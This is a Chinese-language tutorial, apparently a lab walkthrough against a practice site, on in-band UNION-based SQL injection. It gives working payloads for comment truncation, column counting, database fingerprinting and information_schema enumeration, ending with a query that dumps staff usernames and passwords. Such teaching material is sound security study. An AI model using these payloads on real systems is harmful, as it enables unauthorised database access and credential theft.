SQL(Structured Query Language) injection (SQLi)
是一种透过攻击数据库并让数据库执行非法指令,威胁之大在OWASP连续霸榜第一三年之久
数据库和sql这里就不多说了 如果不清楚这两个是什么 可以去看看sql视频
这里举个例子 比如一个网站url是 https://website.thm/blog?id=1
可以看到id=1 也就是从表格抓取了id为1并显示出来
SELECT * from blog where id=1 and private=0 LIMIT 1;
如果我们要调取id为2,而且假设2的private值是1 也就是是私人的
https://website.thm/blog?id=2;--
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
-- 这里代表着注释掉后面的query 也就是只执行了SELECT * from blog where id=2;
无论是否公开2的文章现在都会显示出来了
注入种类
明文注入(我个人喜欢这么叫) 但是系统的就是 In-Band Sql Injection
这里的注入比较简单 因为数据库会直接把错误显示在web上
这里举个例子 我们在原有的url 加入 ‘ 来看看回显是什么
这个时候我们能够看到报错回显了 证明了有sql注入漏洞并且是明文注入
第一步:
需要让他不报错并把正确回显给我们 我们这里可以试试
1 UNION SELECT 1
报错了 并且报错显示的是 有多列
我们可以一直试直到不报错
我们试到 3列后就不报错了 证明okay了
第二步:
从上图可以看到 正常返回了 但是sql会反馈第一个返回结果也就是1的结果,那么我们如果要深入渗透进去数据库 我们要第一个返回结果不是1的结果(1的结果就是文章)我们可以改成-1
改好之后就会发现文章不显示了 现在返回值 1,2,3 了
第三步:
确定用的数据库名字
-1 UNION SELECT 1,2,database()
可以看到原本3的值现在改成了sql 数据库的名字了
第四步
我们要挖出来sqli_one里面所含的东西
这里有几个东西要说一下
information_schema 数据库 每个用户都能访问 包含了所有数据库和表的信息
group_concat()方法 从多个返回的行中获取指定的列
table_name 表名字
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
这里就会返回了数据库里面所有表名字 我们可以看到这里有两个表 一个arcticle 一个staff_users
staff_users包含了所有用户密码 那么正常来说这个是黑客最想去的地方
-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
这里我们找到了所有列名字 id,password,username
-1 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
这里我们可以看到了密码出来了 明文注入就好了